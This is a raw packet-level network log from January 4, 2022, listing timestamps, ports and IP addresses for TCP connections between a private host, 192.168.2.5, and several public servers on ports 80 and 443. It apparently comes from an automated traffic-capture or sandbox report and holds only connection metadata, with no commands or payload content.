Jan 4, 2022 19:33:53.071890116 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.071923971 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.071938038 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.071948051 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.071991920 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.072017908 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.072033882 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.072084904 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.072107077 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.072143078 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.072163105 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.072201967 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.072257042 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.072314978 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.072331905 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.072376966 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.072390079 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.072400093 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.072438002 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.072463989 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.072500944 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.072529078 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.072557926 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.072614908 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.072633028 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.072674990 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.072675943 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.072730064 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.072787046 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.072788954 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.072844982 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.072868109 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.072954893 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.073014975 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.073040962 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.073061943 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.073074102 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.073132038 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.073143005 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.073191881 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.073200941 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.073256016 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.073276043 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.073297977 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.073308945 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.073348999 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.073389053 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.073402882 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.073404074 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.073460102 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.073494911 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.073518991 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.073534966 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.073573112 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.073640108 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.073654890 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.073673964 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.073729992 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.073731899 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.073740959 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.073785067 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.073837996 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.073899984 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.073940039 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.074003935 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.074019909 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.074042082 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.074063063 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.074112892 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.074151039 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.074186087 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.074198008 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.074213982 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.074223995 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.074269056 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.074271917 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.074330091 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.074338913 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.074377060 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.074387074 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.074444056 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.074445009 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.074505091 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.074543953 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.074565887 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.074572086 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.074616909 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.074625969 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.074711084 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.075481892 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.098563910 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.125749111 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.125792980 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.125813961 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.125840902 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.125864029 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.125911951 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.125917912 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.125961065 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.125992060 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.137196064 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.137245893 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.137290955 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.137305021 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.137325048 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.137347937 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.137382030 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.137387037 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.137406111 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.137425900 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.137449026 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.137466908 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.137470007 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.137490034 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.137511015 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.137536049 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.137543917 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.137567997 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.137584925 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.137619972 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.137624025 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.137645006 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.137684107 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.137693882 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.137705088 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.137722969 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.137737989 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.137758017 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.137789965 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.137794971 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.146147966 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.148051023 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.185508966 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.185626030 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.215441942 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:54.860682011 CET	49878	80	192.168.2.5	189.129.105.161
Jan 4, 2022 19:33:54.861861944 CET	49879	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:54.911113024 CET	80	49879	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:54.913830042 CET	49879	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:54.914000988 CET	49879	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:54.914025068 CET	49879	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:54.963376999 CET	80	49879	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:55.004684925 CET	80	49879	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:55.004880905 CET	49879	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:55.005110025 CET	49879	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:55.049247980 CET	49880	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:55.054213047 CET	80	49879	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:55.069741964 CET	80	49878	189.129.105.161	192.168.2.5
Jan 4, 2022 19:33:55.069840908 CET	49878	80	192.168.2.5	189.129.105.161
Jan 4, 2022 19:33:55.070065022 CET	49878	80	192.168.2.5	189.129.105.161
Jan 4, 2022 19:33:55.070084095 CET	49878	80	192.168.2.5	189.129.105.161
Jan 4, 2022 19:33:55.114243984 CET	80	49880	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:55.115495920 CET	49880	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:55.115775108 CET	49880	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:55.115787983 CET	49880	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:55.182349920 CET	80	49880	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:55.221682072 CET	80	49880	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:55.222414017 CET	49880	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:55.222644091 CET	49880	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:55.258826017 CET	49881	80	192.168.2.5	87.240.190.72
Jan 4, 2022 19:33:55.279736996 CET	80	49878	189.129.105.161	192.168.2.5
Jan 4, 2022 19:33:55.288516045 CET	80	49880	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:55.314910889 CET	80	49881	87.240.190.72	192.168.2.5
Jan 4, 2022 19:33:55.315711021 CET	49881	80	192.168.2.5	87.240.190.72
Jan 4, 2022 19:33:55.318993092 CET	49881	80	192.168.2.5	87.240.190.72
Jan 4, 2022 19:33:55.374506950 CET	80	49881	87.240.190.72	192.168.2.5
Jan 4, 2022 19:33:55.374619961 CET	80	49881	87.240.190.72	192.168.2.5
Jan 4, 2022 19:33:55.385562897 CET	49882	443	192.168.2.5	87.240.190.72
Jan 4, 2022 19:33:55.385622978 CET	443	49882	87.240.190.72	192.168.2.5
Jan 4, 2022 19:33:55.385746956 CET	49882	443	192.168.2.5	87.240.190.72
Jan 4, 2022 19:33:55.386234045 CET	49882	443	192.168.2.5	87.240.190.72
Jan 4, 2022 19:33:55.386259079 CET	443	49882	87.240.190.72	192.168.2.5
Jan 4, 2022 19:33:55.474978924 CET	49881	80	192.168.2.5	87.240.190.72
Jan 4, 2022 19:33:55.500360012 CET	443	49882	87.240.190.72	192.168.2.5
Jan 4, 2022 19:33:55.500482082 CET	49882	443	192.168.2.5	87.240.190.72
Jan 4, 2022 19:33:55.502804995 CET	49882	443	192.168.2.5	87.240.190.72
Jan 4, 2022 19:33:55.502835989 CET	443	49882	87.240.190.72	192.168.2.5
Jan 4, 2022 19:33:55.503053904 CET	443	49882	87.240.190.72	192.168.2.5
Jan 4, 2022 19:33:55.504215956 CET	49882	443	192.168.2.5	87.240.190.72
Jan 4, 2022 19:33:55.544888973 CET	443	49882	87.240.190.72	192.168.2.5
Jan 4, 2022 19:33:55.629571915 CET	443	49882	87.240.190.72	192.168.2.5
Jan 4, 2022 19:33:55.629684925 CET	443	49882	87.240.190.72	192.168.2.5
Jan 4, 2022 19:33:55.629745960 CET	49882	443	192.168.2.5	87.240.190.72
Jan 4, 2022 19:33:55.629936934 CET	49882	443	192.168.2.5	87.240.190.72
Jan 4, 2022 19:33:55.629962921 CET	443	49882	87.240.190.72	192.168.2.5
Jan 4, 2022 19:33:55.629977942 CET	49882	443	192.168.2.5	87.240.190.72
Jan 4, 2022 19:33:55.629986048 CET	443	49882	87.240.190.72	192.168.2.5
Jan 4, 2022 19:33:55.656418085 CET	49883	443	192.168.2.5	87.240.190.72
Jan 4, 2022 19:33:55.656470060 CET	443	49883	87.240.190.72	192.168.2.5
Jan 4, 2022 19:33:55.656867027 CET	49883	443	192.168.2.5	87.240.190.72
Jan 4, 2022 19:33:55.657211065 CET	49883	443	192.168.2.5	87.240.190.72
Jan 4, 2022 19:33:55.657231092 CET	443	49883	87.240.190.72	192.168.2.5
Jan 4, 2022 19:33:55.766175032 CET	443	49883	87.240.190.72	192.168.2.5
Jan 4, 2022 19:33:55.769279957 CET	49883	443	192.168.2.5	87.240.190.72
Jan 4, 2022 19:33:55.769336939 CET	443	49883	87.240.190.72	192.168.2.5
Jan 4, 2022 19:33:55.769823074 CET	49883	443	192.168.2.5	87.240.190.72
Jan 4, 2022 19:33:55.769834995 CET	443	49883	87.240.190.72	192.168.2.5
Jan 4, 2022 19:33:55.861710072 CET	80	49878	189.129.105.161	192.168.2.5
Jan 4, 2022 19:33:55.864347935 CET	80	49878	189.129.105.161	192.168.2.5
Jan 4, 2022 19:33:55.864427090 CET	49878	80	192.168.2.5	189.129.105.161
Jan 4, 2022 19:33:55.864531040 CET	49878	80	192.168.2.5	189.129.105.161
Jan 4, 2022 19:33:55.880007982 CET	443	49883	87.240.190.72	192.168.2.5
Jan 4, 2022 19:33:55.880047083 CET	443	49883	87.240.190.72	192.168.2.5
Jan 4, 2022 19:33:55.880120993 CET	443	49883	87.240.190.72	192.168.2.5
Jan 4, 2022 19:33:55.880155087 CET	49883	443	192.168.2.5	87.240.190.72
Jan 4, 2022 19:33:55.880279064 CET	49883	443	192.168.2.5	87.240.190.72
Jan 4, 2022 19:33:55.880350113 CET	49883	443	192.168.2.5	87.240.190.72
Jan 4, 2022 19:33:55.880382061 CET	443	49883	87.240.190.72	192.168.2.5
Jan 4, 2022 19:33:55.880397081 CET	49883	443	192.168.2.5	87.240.190.72
Jan 4, 2022 19:33:55.880404949 CET	443	49883	87.240.190.72	192.168.2.5
Jan 4, 2022 19:33:55.897627115 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:55.910053968 CET	49885	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:55.957813978 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:55.957935095 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:55.958091974 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:55.958174944 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:55.976933956 CET	80	49885	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:55.977188110 CET	49885	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:55.977221966 CET	49885	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:55.977230072 CET	49885	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:56.006258965 CET	49877	80	192.168.2.5	194.180.174.53
Jan 4, 2022 19:33:56.017667055 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.043621063 CET	80	49885	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:56.076548100 CET	80	49878	189.129.105.161	192.168.2.5
Jan 4, 2022 19:33:56.087379932 CET	80	49885	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:56.087508917 CET	49885	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:56.087770939 CET	49885	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:56.113826990 CET	49886	80	192.168.2.5	178.248.232.78
Jan 4, 2022 19:33:56.138398886 CET	80	49886	178.248.232.78	192.168.2.5
Jan 4, 2022 19:33:56.138540030 CET	49886	80	192.168.2.5	178.248.232.78
Jan 4, 2022 19:33:56.138760090 CET	49886	80	192.168.2.5	178.248.232.78
Jan 4, 2022 19:33:56.152496099 CET	80	49885	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:56.163244009 CET	80	49886	178.248.232.78	192.168.2.5
Jan 4, 2022 19:33:56.184461117 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.184488058 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.184557915 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.193317890 CET	80	49886	178.248.232.78	192.168.2.5
Jan 4, 2022 19:33:56.199074030 CET	49887	443	192.168.2.5	178.248.232.78
Jan 4, 2022 19:33:56.199117899 CET	443	49887	178.248.232.78	192.168.2.5
Jan 4, 2022 19:33:56.200017929 CET	49887	443	192.168.2.5	178.248.232.78
Jan 4, 2022 19:33:56.200380087 CET	49887	443	192.168.2.5	178.248.232.78
Jan 4, 2022 19:33:56.200397968 CET	443	49887	178.248.232.78	192.168.2.5
Jan 4, 2022 19:33:56.244303942 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.244524002 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.244956970 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.248771906 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.248842955 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.249516964 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.258205891 CET	443	49887	178.248.232.78	192.168.2.5
Jan 4, 2022 19:33:56.258320093 CET	49887	443	192.168.2.5	178.248.232.78
Jan 4, 2022 19:33:56.261236906 CET	49887	443	192.168.2.5	178.248.232.78
Jan 4, 2022 19:33:56.261254072 CET	443	49887	178.248.232.78	192.168.2.5
Jan 4, 2022 19:33:56.261491060 CET	443	49887	178.248.232.78	192.168.2.5
Jan 4, 2022 19:33:56.262820959 CET	49887	443	192.168.2.5	178.248.232.78
Jan 4, 2022 19:33:56.303675890 CET	49886	80	192.168.2.5	178.248.232.78
Jan 4, 2022 19:33:56.304372072 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.304593086 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.304867983 CET	443	49887	178.248.232.78	192.168.2.5
Jan 4, 2022 19:33:56.305013895 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.308373928 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.308511019 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.308892965 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.313113928 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.313535929 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.314130068 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.314150095 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.314284086 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.314313889 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.344904900 CET	443	49887	178.248.232.78	192.168.2.5
Jan 4, 2022 19:33:56.344935894 CET	443	49887	178.248.232.78	192.168.2.5
Jan 4, 2022 19:33:56.344993114 CET	443	49887	178.248.232.78	192.168.2.5
Jan 4, 2022 19:33:56.345016003 CET	443	49887	178.248.232.78	192.168.2.5
Jan 4, 2022 19:33:56.345051050 CET	49887	443	192.168.2.5	178.248.232.78
Jan 4, 2022 19:33:56.345084906 CET	49887	443	192.168.2.5	178.248.232.78
Jan 4, 2022 19:33:56.345529079 CET	49887	443	192.168.2.5	178.248.232.78
Jan 4, 2022 19:33:56.345550060 CET	443	49887	178.248.232.78	192.168.2.5
Jan 4, 2022 19:33:56.345597982 CET	49887	443	192.168.2.5	178.248.232.78
Jan 4, 2022 19:33:56.345604897 CET	443	49887	178.248.232.78	192.168.2.5
Jan 4, 2022 19:33:56.364172935 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.368386984 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.368772984 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.368940115 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.369038105 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.369133949 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.372225046 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.372747898 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.373644114 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.373682976 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.373843908 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.376270056 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.376388073 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.376760006 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.377000093 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.377021074 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.377125978 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.377139091 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.378982067 CET	49888	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:56.440279007 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.440310001 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.440330982 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.440767050 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.440788984 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.440809965 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.440830946 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.440841913 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.440895081 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.440898895 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.441250086 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.441276073 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.441297054 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.441315889 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.441329956 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.441345930 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.441725969 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.441752911 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.441773891 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.441792965 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.441864014 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.441874027 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.442301035 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.442349911 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.442460060 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.442820072 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.442843914 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.442864895 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.442914963 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.442924976 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.443315983 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.443342924 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.443366051 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.443531036 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.443839073 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.443859100 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.443881035 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.443943024 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.443952084 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.446221113 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.453751087 CET	80	49888	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:56.453855038 CET	49888	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:56.453985929 CET	49888	80	192.168.2.5	89.223.65.17
